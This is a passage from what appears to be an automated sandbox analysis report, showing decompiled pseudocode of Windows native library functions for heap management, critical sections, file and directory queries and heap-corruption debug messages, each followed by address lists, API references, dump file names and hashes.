											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
											_t102 = _v40;
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E6A9595D0();
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
											_t102 = _v40;
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E6A92EB70(_t93, 0x6aa079a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t104 + 4)));
										E6A9595D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
										_t102 = _v40;
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t102 + 4)));
										E6A9595D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t102);
									}
									continue;
								}
								_t93 =  &_v20;
								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
								_t85 = 6;
								_v20 = _t85;
								_t87 = E6A94F0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x6a9152a5
0x6a9152ad
0x6a9152b0
0x6a9152b3
0x6a9152b7
0x6a9152ba
0x6a9152bf
0x6a9152c4
0x6a9152cc
0x00000000
0x00000000
0x6a9152ce
0x6a9152d9
0x6a9152dd
0x6a9152e7
0x6a9152f7
0x6a9152f9
0x6a9152fd
0x6a970dcf
0x6a970dd5
0x6a970dd6
0x6a970dd7
0x6a970dd8
0x6a970dd9
0x6a970dde
0x6a970ddf
0x6a970de0
0x6a970de1
0x6a970de2
0x6a970de5
0x6a970dea
0x6a970dec
0x6a970f60
0x6a970f64
0x6a970f70
0x6a970f76
0x6a970f79
0x6a970f79
0x00000000
0x6a970f64
0x6a970df2
0x6a970df7
0x6a970e04
0x6a970e0d
0x6a970e10
0x6a970e1a
0x6a970e1c
0x6a970e4c
0x6a970e52
0x6a970e61
0x6a970e67
0x6a970e6b
0x6a970e70
0x6a970e76
0x6a970ed7
0x6a970edc
0x6a970ee0
0x6a970eea
0x6a970ef0
0x6a970ef6
0x6a970ef9
0x6a970efe
0x6a970f01
0x6a970f01
0x6a970f0b
0x6a970f12
0x6a970f16
0x6a970f18
0x6a970f1b
0x6a970f2c
0x6a970f31
0x6a970f31
0x6a970f35
0x6a970f39
0x6a970f3a
0x6a970f3c
0x6a970f3f
0x6a970f50
0x6a970f55
0x6a970f55
0x6a970f59
0x6a9152eb
0x6a9152f1
0x6a9152f1
0x6a970e7d
0x6a970e84
0x6a970e88
0x6a970e8a
0x6a970e8d
0x6a970e9e
0x6a970ea3
0x6a970ea3
0x6a970ea7
0x6a970eaf
0x6a970eb3
0x6a970eb9
0x6a970ebc
0x6a970ecd
0x6a970ecd
0x00000000
0x6a970eb3
0x6a970e21
0x6a970e2b
0x6a970e2f
0x6a970e30
0x6a970e3a
0x6a970e3f
0x6a970e41
0x00000000
0x00000000
0x6a970e47
0x00000000
0x6a970e47
0x6a970df9
0x6a970dfe
0x00000000
0x00000000
0x00000000
0x6a970dfe
0x6a915303
0x6a915307
0x00000000
0x6a915309
0x00000000
0x6a915309
0x6a915307
0x6a9152e9
0x6a9152e9
0x00000000
0x6a9152e9
0x6a91530e
0x00000000

APIs

RtlEnterCriticalSection.1105(6AA079A0,?,?,00000000,?,?,?,6A9151B4,?,?,?), ref: 6A9152BF
RtlLeaveCriticalSection.1105(6AA079A0,6AA079A0,?,?,00000000,?,?,?,6A9151B4,?,?,?), ref: 6A9152DD
ZwFsControlFile.1105(?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6AA079A0,6AA079A0,?,?,00000000), ref: 6A970DE5
RtlEnterCriticalSection.1105(6AA079A0,6AA079A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6AA079A0,6AA079A0,?), ref: 6A970E6B
RtlLeaveCriticalSection.1105(6AA079A0,6AA079A0,6AA079A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6AA079A0,6AA079A0,?), ref: 6A970E7D
ZwClose.1105(?,6AA079A0,6AA079A0,6AA079A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6AA079A0,6AA079A0), ref: 6A970E8D
RtlFreeHeap.1105(?,00000000,?,?,6AA079A0,6AA079A0,6AA079A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6A970E9E
ZwClose.1105(?,6AA079A0,6AA079A0,6AA079A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6AA079A0,6AA079A0), ref: 6A970EBC
RtlFreeHeap.1105(?,00000000,6AA079A0,?,6AA079A0,6AA079A0,6AA079A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6A970ECD

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$CloseEnterFreeHeapLeave$ControlFile
String ID:
API String ID: 1928194833-0
Opcode ID: dfe9b92aee2dff75617732f97c8891fc4d40b46a92654dade0c2c5de60e9e53a
Instruction ID: ed8668c5451dddba4697536e756ce0267e91acbbee76e9e15b23a650783a7172
Opcode Fuzzy Hash: dfe9b92aee2dff75617732f97c8891fc4d40b46a92654dade0c2c5de60e9e53a
Instruction Fuzzy Hash: FF51ED71108745AFE320CF28C984B17BBE8FF64718F22491EE4A587652EF75E840C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A5F5F, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 161
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E6A9A5F5F(WCHAR* __ecx, intOrPtr __edx, void** _a4) {
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v36;
				void* _v40;
				char _v44;
				char _v60;
				void* _v64;
				void* _v68;
				intOrPtr _v72;
				void* _v76;
				char _v84;
				WCHAR* _v88;
				intOrPtr _v100;
				signed int _t48;
				signed int _t54;
				int _t64;
				intOrPtr _t82;
				void* _t85;
				void* _t87;
				void* _t91;
				void* _t96;
				void* _t97;
				signed int _t100;

				_v76 = _v76 & 0x00000000;
				_t85 = 0;
				_v72 = __edx;
				if(__ecx == 0 || __edx == 0 || _a4 == 0) {
					_t48 = 0xc000000d;
					goto L26;
				} else {
					if( *__ecx == 0x5c) {
						RtlInitUnicodeString( &_v68, __ecx);
						L8:
						_v32 = _v32 & 0x00000000;
						_v20 = _v20 & 0x00000000;
						_v16 = _v16 & 0x00000000;
						_push(0x4021);
						_v28 =  &_v76;
						_push(7);
						_push( &_v60);
						_v36 = 0x18;
						_push( &_v36);
						_push(0x100001);
						_v24 = 0x40;
						_push( &_v84);
						_t54 = E6A959830();
						_t100 = _t54;
						if(_t85 == 0) {
							L13:
							if(_t100 >= 0) {
								_t96 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x410);
								if(_t96 != 0) {
									RtlInitUnicodeString( &_v76, _v88);
									_push(0);
									_push( &_v84);
									_push(1);
									_push(3);
									_push(0x410);
									_push(_t96);
									_push( &_v76);
									_push(0);
									_push(0);
									_push(0);
									_push(_v100);
									_t100 = E6A959850();
									if(_t100 >= 0) {
										_t64 =  *(_t96 + 0x3c);
										if(_t64 <= 0x104) {
											_t87 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t64 + 4);
											if(_t87 != 0) {
												_t39 = _t96 + 0x5e; // 0x5e
												memcpy(_t87, _t39,  *(_t96 + 0x3c));
												 *((short*)(_t87 + ( *(_t96 + 0x3c) >> 1) * 2)) = 0;
												 *_a4 = _t87;
											} else {
												_t100 = 0xc0000017;
											}
										}
									}
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t96);
								} else {
									_t100 = 0xc0000017;
								}
							}
							L22:
							if(_v84 != 0) {
								_push(_v84);
								E6A9595D0();
							}
							_t48 = _t100;
							L26:
							return _t48;
						}
						_t97 = _v40;
						if(_t97 != 0) {
							asm("lock xadd [edi], eax");
							if((_t54 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t97 + 4)));
								E6A9595D0();
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t97);
							}
						}
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t85);
						goto L13;
					}
					_push( &_v44);
					_push(0);
					_push( &_v68);
					_t91 = 2;
					_t100 = E6A9265BA(_t91, __ecx);
					if(_t100 < 0) {
						goto L22;
					} else {
						_t82 = _v44;
						_t85 = _v64;
						if(_t82 != 0) {
							_v68 = _t82;
							_v64 = _v40;
						}
						goto L8;
					}
				}
			}

0x6a9a5f6a
0x6a9a5f73
0x6a9a5f75
0x6a9a5f7c
0x6a9a6137
0x00000000
0x6a9a5f93
0x6a9a5f97
0x6a9a5fd9
0x6a9a5fde
0x6a9a5fde
0x6a9a5fe7
0x6a9a5fec
0x6a9a5ff1
0x6a9a5ff6
0x6a9a5ffe
0x6a9a6000
0x6a9a6005
0x6a9a600d
0x6a9a600e
0x6a9a6017
0x6a9a601f
0x6a9a6020
0x6a9a6025
0x6a9a6029
0x6a9a6066
0x6a9a6068
0x6a9a6084
0x6a9a6088
0x6a9a609d
0x6a9a60a8
0x6a9a60a9
0x6a9a60aa
0x6a9a60ac
0x6a9a60ae
0x6a9a60af
0x6a9a60b4
0x6a9a60b5
0x6a9a60b6
0x6a9a60b7
0x6a9a60b8
0x6a9a60c1
0x6a9a60c5
0x6a9a60c7
0x6a9a60cf
0x6a9a60e5
0x6a9a60e9
0x6a9a60f5
0x6a9a60fa
0x6a9a6109
0x6a9a6110
0x6a9a60eb
0x6a9a60eb
0x6a9a60eb
0x6a9a60e9
0x6a9a60cf
0x6a9a611e
0x6a9a608a
0x6a9a608a
0x6a9a608a
0x6a9a6088
0x6a9a6123
0x6a9a6128
0x6a9a612a
0x6a9a612e
0x6a9a612e
0x6a9a6133
0x6a9a613c
0x6a9a6142
0x6a9a6142
0x6a9a602b
0x6a9a6031
0x6a9a6036
0x6a9a603a
0x6a9a603c
0x6a9a603f
0x6a9a6050
0x6a9a6050
0x6a9a603a
0x6a9a6061
0x00000000
0x6a9a6061
0x6a9a5f9f
0x6a9a5fa0
0x6a9a5fa5
0x6a9a5fa8
0x6a9a5fae
0x6a9a5fb2
0x00000000
0x6a9a5fb8
0x6a9a5fb8
0x6a9a5fbc
0x6a9a5fc3
0x6a9a5fc5
0x6a9a5fcd
0x6a9a5fcd
0x00000000
0x6a9a5fc3
0x6a9a5fb2

APIs

RtlInitUnicodeString.1105(?,?,00000000,?,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 6A9A5FD9
ZwOpenFile.1105(?,00100001,?,?,00000007,00004021), ref: 6A9A6020
ZwClose.1105(00000000,?,00100001,?,?,00000007,00004021), ref: 6A9A603F
RtlFreeHeap.1105(?,00000000,?,00000000,?,00100001,?,?,00000007,00004021), ref: 6A9A6050
RtlFreeHeap.1105(?,00000000,00000000,?,00100001,?,?,00000007,00004021), ref: 6A9A6061
RtlAllocateHeap.1105(?,00000008,00000410,?,00100001,?,?,00000007,00004021), ref: 6A9A607F
ZwClose.1105(00000000,?,00100001,?,?,00000007,00004021), ref: 6A9A612E

Part of subcall function 6A9265BA: RtlInitUnicodeStringEx.1105(?,?,?), ref: 6A9265CA

RtlInitUnicodeString.1105(?,?,00000008,00000410,?,00100001,?,?,00000007,00004021), ref: 6A9A609D
ZwQueryDirectoryFile.1105(?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?,00000008,00000410,?), ref: 6A9A60BC
RtlAllocateHeap.1105(?,00000008,?,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?), ref: 6A9A60E0
memcpy.1105(00000000,0000005E,?,00000008,?,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000), ref: 6A9A60FA
RtlFreeHeap.1105(?,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?), ref: 6A9A611E

Strings

@, xrefs: 6A9A6017

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeInitStringUnicode$AllocateCloseFile$DirectoryOpenQuerymemcpy
String ID: @
API String ID: 1610808139-2766056989
Opcode ID: f01aa9c5d7505036a5332c028e8c9018f26f72483e3ba049823e414153cadd42
Instruction ID: d534151c52a7d9f51ff82d50dc44cb7ffba5937bed7c41fe772d7c56cb1c279e
Opcode Fuzzy Hash: f01aa9c5d7505036a5332c028e8c9018f26f72483e3ba049823e414153cadd42
Instruction Fuzzy Hash: 0151AAB2604705AFE711CF18C885F6ABBE8EB84714F22092EFB5097291DBB5D914CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D49A4, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 114memorynativeCOMMON

Download Yara Rule

APIs

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6A9D44B7,?), ref: 6A9D49DF

Part of subcall function 6A959660: LdrInitializeThunk.NTDLL(6A9A18BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6A9F0810,0000001C,6A9A1616), ref: 6A95966A

RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6A9D44B7,?), ref: 6A9D49FE
memcpy.1105(01000000,?,?,00000000,?,00000000,?,?,6A9D44B7,?), ref: 6A9D4A0C
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6A9D4A42
DbgPrint.1105(HEAP: ,?), ref: 6A9D4A4F
DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6A9D4A66
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?), ref: 6A9D4ABC
DbgPrint.1105(HEAP: ,?,?,?,?,?,?), ref: 6A9D4AC9
DbgPrint.1105( This is located in the %s field of the heap header.,?,?,?,?,?,?), ref: 6A9D4ADB

Strings

Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 6A9D4A61
HEAP: , xrefs: 6A9D4A4A, 6A9D4A5D, 6A9D4A5F, 6A9D4AC4
This is located in the %s field of the heap header., xrefs: 6A9D4AD6
HEAP[%wZ]: , xrefs: 6A9D4A3D, 6A9D4AB7

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateCompareInitializeThunkVirtualmemcpy
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 4107597528-336120773
Opcode ID: de4dce9876d7e6d5bac98e8ae2eb2bf024309f42c17bcf15a68ef7af5fb2653d
Instruction ID: 7c6e905da06963ebdad20dbd4f742671f141e4c840ec434de57029528597294f
Opcode Fuzzy Hash: de4dce9876d7e6d5bac98e8ae2eb2bf024309f42c17bcf15a68ef7af5fb2653d
Instruction Fuzzy Hash: 5A31FF31204909AFD710EB98C888F5673B8EF45764F328566F514DB262DF70E8C0CAA9

Uniqueness

Uniqueness Score: -1.00%

Function 6A913ACA, Relevance: 21.3, APIs: 14, Instructions: 348
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E6A913ACA(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t197;
				intOrPtr _t200;
				intOrPtr _t206;
				intOrPtr _t209;
				intOrPtr _t217;
				signed int _t224;
				signed int _t226;
				signed int _t229;
				signed int _t230;
				signed int _t233;
				intOrPtr _t238;
				signed int _t246;
				signed int _t249;
				char* _t252;
				intOrPtr _t257;
				signed int _t272;
				intOrPtr _t280;
				intOrPtr _t281;
				signed char _t286;
				signed int _t291;
				signed int _t292;
				intOrPtr _t299;
				intOrPtr _t301;
				signed int _t307;
				intOrPtr* _t308;
				signed int _t309;
				intOrPtr _t312;
				signed int* _t313;
				intOrPtr _t315;
				signed int _t316;
				void* _t317;

				_push(0x84);
				_push(0x6a9ef4d0);
				E6A96D0E8(__ebx, __edi, __esi);
				_t312 = __edx;
				 *((intOrPtr*)(_t317 - 0x38)) = __edx;
				 *((intOrPtr*)(_t317 - 0x20)) = __ecx;
				_t307 = 0;
				 *(_t317 - 0x74) = 0;
				 *((intOrPtr*)(_t317 - 0x78)) = 0;
				_t272 = 0;
				 *(_t317 - 0x60) = 0;
				 *((intOrPtr*)(_t317 - 0x68)) =  *((intOrPtr*)(__ecx + 0x2c)) + __ecx;
				_t197 = __edx + 0x28;
				 *((intOrPtr*)(_t317 - 0x7c)) = _t197;
				 *((intOrPtr*)(_t317 - 0x88)) = _t197;
				E6A932280(_t197, _t197);
				_t280 =  *((intOrPtr*)(_t312 + 0x2c));
				 *((intOrPtr*)(_t317 - 0x34)) = _t280;
				L1:
				while(1) {
					if(_t280 == _t312 + 0x2c) {
						E6A92FFB0(_t272, _t307,  *((intOrPtr*)(_t317 - 0x7c)));
						asm("sbb ebx, ebx");
						return E6A96D130( ~_t272 & 0xc000022d, _t307, _t312);
					}
					_t15 = _t280 - 4; // -4
					_t200 = _t15;
					 *((intOrPtr*)(_t317 - 0x70)) = _t200;
					 *((intOrPtr*)(_t317 - 0x8c)) = _t200;
					 *((intOrPtr*)(_t317 - 0x6c)) = _t200;
					_t308 = 0x7ffe0010;
					_t313 = 0x7ffe03b0;
					goto L4;
					do {
						do {
							do {
								do {
									L4:
									 *(_t317 - 0x30) =  *0x6aa08628;
									 *(_t317 - 0x44) =  *0x6aa0862c;
									 *(_t317 - 0x28) =  *_t313;
									 *(_t317 - 0x58) = _t313[1];
									while(1) {
										_t301 =  *0x7ffe000c;
										_t281 =  *0x7ffe0008;
										__eflags = _t301 -  *_t308;
										if(_t301 ==  *_t308) {
											goto L6;
										}
										asm("pause");
									}
									L6:
									_t313 = 0x7ffe03b0;
									_t309 =  *0x7ffe03b0;
									 *(_t317 - 0x40) = _t309;
									_t206 =  *0x7FFE03B4;
									 *((intOrPtr*)(_t317 - 0x3c)) = _t206;
									__eflags =  *(_t317 - 0x28) - _t309;
									_t308 = 0x7ffe0010;
								} while ( *(_t317 - 0x28) != _t309);
								__eflags =  *(_t317 - 0x58) - _t206;
							} while ( *(_t317 - 0x58) != _t206);
							 *(_t317 - 0x28) =  *0x6aa0862c;
							__eflags =  *(_t317 - 0x30) -  *0x6aa08628;
							_t308 = 0x7ffe0010;
						} while ( *(_t317 - 0x30) !=  *0x6aa08628);
						__eflags =  *(_t317 - 0x44) -  *(_t317 - 0x28);
					} while ( *(_t317 - 0x44) !=  *(_t317 - 0x28));
					_t315 =  *((intOrPtr*)(_t317 - 0x6c));
					_t307 = 0;
					_t272 =  *(_t317 - 0x60);
					asm("sbb edx, [ebp-0x3c]");
					asm("sbb edx, eax");
					 *(_t317 - 0x28) = _t281 -  *(_t317 - 0x40) -  *(_t317 - 0x30) + 0x7a120;
					asm("adc edx, edi");
					asm("lock inc dword [esi+0x2c]");
					_t209 =  *((intOrPtr*)(_t317 - 0x20));
					_t286 =  *(_t315 + 0x24) &  *(_t209 + 0x18);
					 *(_t317 - 0x40) = _t286;
					__eflags =  *(_t315 + 0x34);
					if( *(_t315 + 0x34) != 0) {
						L37:
						 *((intOrPtr*)(_t317 - 0x34)) =  *((intOrPtr*)( *((intOrPtr*)(_t317 - 0x34))));
						E6A94DF4C(_t317 - 0x78, _t315, _t317 - 0x74, _t317 - 0x78);
						_t316 =  *(_t317 - 0x74);
						__eflags = _t316;
						_t280 =  *((intOrPtr*)(_t317 - 0x34));
						if(_t316 != 0) {
							 *0x6aa0b1e0( *((intOrPtr*)(_t317 - 0x78)));
							 *_t316();
							_t280 =  *((intOrPtr*)(_t317 - 0x34));
						}
						_t312 =  *((intOrPtr*)(_t317 - 0x38));
						continue;
					}
					__eflags = _t286;
					if(_t286 == 0) {
						goto L37;
					}
					 *(_t317 - 0x5c) = _t286;
					_t45 = _t317 - 0x5c;
					 *_t45 =  *(_t317 - 0x5c) & 0x00000001;
					__eflags =  *_t45;
					if( *_t45 == 0) {
						L40:
						__eflags = _t286 & 0xfffffffe;
						if((_t286 & 0xfffffffe) != 0) {
							__eflags =  *((intOrPtr*)(_t315 + 0x64)) - _t307;
							if( *((intOrPtr*)(_t315 + 0x64)) == _t307) {
								L14:
								__eflags =  *(_t315 + 0x40) - _t307;
								if( *(_t315 + 0x40) != _t307) {
									__eflags = _t301 -  *(_t315 + 0x4c);
									if(__eflags > 0) {
										goto L15;
									}
									if(__eflags < 0) {
										L59:
										_t299 =  *((intOrPtr*)(_t317 - 0x20));
										__eflags =  *(_t315 + 0x5c) -  *((intOrPtr*)(_t299 + 0x10));
										if( *(_t315 + 0x5c) >=  *((intOrPtr*)(_t299 + 0x10))) {
											goto L37;
										}
										goto L15;
									}
									__eflags =  *(_t317 - 0x28) -  *(_t315 + 0x48);
									if( *(_t317 - 0x28) >=  *(_t315 + 0x48)) {
										goto L15;
									}
									goto L59;
								}
								L15:
								__eflags =  *((intOrPtr*)(_t317 + 8)) - _t307;
								if( *((intOrPtr*)(_t317 + 8)) != _t307) {
									__eflags =  *((intOrPtr*)(_t315 + 0x58)) - _t307;
									if( *((intOrPtr*)(_t315 + 0x58)) != _t307) {
										goto L16;
									}
									goto L37;
								}
								L16:
								 *(_t317 - 0x24) = _t307;
								 *(_t317 - 0x30) = _t307;
								 *((intOrPtr*)(_t317 - 0x2c)) =  *((intOrPtr*)(_t315 + 0x10));
								_t217 =  *((intOrPtr*)(_t315 + 0xc));
								 *((intOrPtr*)(_t317 - 0x4c)) =  *((intOrPtr*)(_t217 + 0x10));
								 *((intOrPtr*)(_t317 - 0x48)) =  *((intOrPtr*)(_t217 + 0x14));
								 *(_t317 - 0x58) =  *(_t217 + 0x24);
								 *((intOrPtr*)(_t317 - 0x3c)) =  *((intOrPtr*)(_t315 + 0x14));
								 *((intOrPtr*)(_t317 - 0x64)) =  *((intOrPtr*)(_t315 + 0x18));
								 *(_t315 + 0x60) =  *( *[fs:0x18] + 0x24);
								_t224 =  *((intOrPtr*)(_t317 - 0x38)) + 0x28;
								 *(_t317 - 0x94) = _t224;
								_t291 = _t224;
								 *(_t317 - 0x28) = _t291;
								 *(_t317 - 0x90) = _t291;
								E6A92FFB0(_t272, _t307, _t224);
								_t292 = _t307;
								 *(_t317 - 0x54) = _t292;
								_t226 = _t307;
								 *(_t317 - 0x50) = _t226;
								 *(_t317 - 0x44) = _t226;
								__eflags =  *(_t315 + 0x28);
								if(__eflags != 0) {
									asm("lock bts dword [eax], 0x0");
									_t229 = 0;
									_t230 = _t229 & 0xffffff00 | __eflags >= 0x00000000;
									 *(_t317 - 0x50) = _t230;
									 *(_t317 - 0x44) = _t230;
									__eflags = _t230;
									if(_t230 != 0) {
										goto L17;
									}
									__eflags =  *((intOrPtr*)(_t317 + 8)) - 1;
									if( *((intOrPtr*)(_t317 + 8)) == 1) {
										E6A932280( *(_t315 + 0x28) + 0x10,  *(_t315 + 0x28) + 0x10);
										_t230 = 1;
										 *(_t317 - 0x50) = 1;
										 *(_t317 - 0x44) = 1;
										goto L17;
									}
									_t233 = _t230 + 1;
									L35:
									 *( *((intOrPtr*)(_t317 - 0x70)) + 0x58) = _t233;
									__eflags = _t292;
									if(_t292 == 0) {
										E6A932280(_t233,  *(_t317 - 0x28));
									}
									 *(_t315 + 0x60) = _t307;
									goto L37;
								}
								L17:
								__eflags =  *(_t315 + 0x34) - _t307;
								if( *(_t315 + 0x34) != _t307) {
									L26:
									__eflags =  *(_t317 - 0x50);
									if( *(_t317 - 0x50) != 0) {
										_t230 = E6A92FFB0(_t272, _t307,  *(_t315 + 0x28) + 0x10);
									}
									__eflags =  *(_t317 - 0x30);
									if( *(_t317 - 0x30) == 0) {
										L71:
										_t292 =  *(_t317 - 0x54);
										L34:
										_t233 = _t307;
										goto L35;
									}
									E6A932280(_t230,  *(_t317 - 0x94));
									_t292 = 1;
									 *(_t317 - 0x54) = 1;
									__eflags =  *(_t317 - 0x24) - 0xc000022d;
									if( *(_t317 - 0x24) == 0xc000022d) {
										L69:
										__eflags =  *(_t315 + 0x20) & 0x00000004;
										if(( *(_t315 + 0x20) & 0x00000004) == 0) {
											goto L34;
										}
										_t272 = 1;
										__eflags = 1;
										 *(_t317 - 0x60) = 1;
										E6A9A30AE(_t315,  *(_t317 - 0x24),  *( *((intOrPtr*)(_t317 - 0x20)) + 0x10));
										goto L71;
									}
									__eflags =  *(_t317 - 0x24) - 0xc0000017;
									if( *(_t317 - 0x24) == 0xc0000017) {
										goto L69;
									}
									__eflags =  *(_t315 + 0x1c);
									if( *(_t315 + 0x1c) != 0) {
										_t238 =  *((intOrPtr*)(_t317 - 0x20));
										__eflags =  *((intOrPtr*)(_t238 + 0x10)) -  *(_t315 + 0x1c);
										if( *((intOrPtr*)(_t238 + 0x10)) -  *(_t315 + 0x1c) > 0) {
											goto L31;
										}
										L32:
										__eflags =  *(_t315 + 0x20) & 0x00000004;
										if(( *(_t315 + 0x20) & 0x00000004) != 0) {
											__eflags =  *(_t315 + 0x50) - _t307;
											if( *(_t315 + 0x50) > _t307) {
												 *(_t315 + 0x40) = _t307;
												 *(_t315 + 0x54) = _t307;
												 *(_t315 + 0x48) = _t307;
												 *(_t315 + 0x4c) = _t307;
												 *(_t315 + 0x50) = _t307;
												 *(_t315 + 0x5c) = _t307;
											}
										}
										goto L34;
									}
									L31:
									 *(_t315 + 0x1c) =  *( *((intOrPtr*)(_t317 - 0x20)) + 0x10);
									goto L32;
								}
								 *(_t317 - 0x30) = 1;
								 *((intOrPtr*)(_t317 - 0x80)) = 1;
								 *((intOrPtr*)(_t317 - 0x64)) = E6A913E80( *((intOrPtr*)(_t317 - 0x64)));
								 *(_t317 - 4) = _t307;
								__eflags =  *(_t317 - 0x5c);
								if( *(_t317 - 0x5c) != 0) {
									_t257 =  *((intOrPtr*)(_t317 - 0x20));
									 *0x6aa0b1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)),  *((intOrPtr*)(_t257 + 0x10)),  *(_t317 - 0x58),  *((intOrPtr*)(_t317 - 0x3c)),  *((intOrPtr*)(_t317 - 0x68)),  *((intOrPtr*)(_t257 + 0x14)));
									 *(_t317 - 0x24) =  *((intOrPtr*)(_t317 - 0x2c))();
								}
								_t246 =  *(_t317 - 0x40);
								__eflags = _t246 & 0x00000010;
								if((_t246 & 0x00000010) != 0) {
									__eflags =  *(_t315 + 0x34) - _t307;
									if( *(_t315 + 0x34) != _t307) {
										goto L21;
									}
									__eflags =  *(_t317 - 0x24);
									if( *(_t317 - 0x24) >= 0) {
										L64:
										 *0x6aa0b1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)), _t307,  *(_t317 - 0x58),  *((intOrPtr*)(_t317 - 0x3c)), _t307, _t307);
										 *((intOrPtr*)(_t317 - 0x2c))();
										 *(_t317 - 0x24) = _t307;
										_t246 =  *(_t317 - 0x40);
										goto L21;
									}
									__eflags =  *(_t315 + 0x20) & 0x00000004;
									if(( *(_t315 + 0x20) & 0x00000004) != 0) {
										goto L21;
									}
									goto L64;
								} else {
									L21:
									__eflags = _t246 & 0xffffffee;
									if((_t246 & 0xffffffee) != 0) {
										 *(_t317 - 0x24) = _t307;
										 *0x6aa0b1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)),  *((intOrPtr*)(_t317 - 0x3c)), _t246);
										 *((intOrPtr*)(_t317 - 0x2c))();
									}
									_t249 = E6A937D50();
									__eflags = _t249;
									if(_t249 != 0) {
										_t252 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
									} else {
										_t252 = 0x7ffe038e;
									}
									__eflags =  *_t252;
									if( *_t252 != 0) {
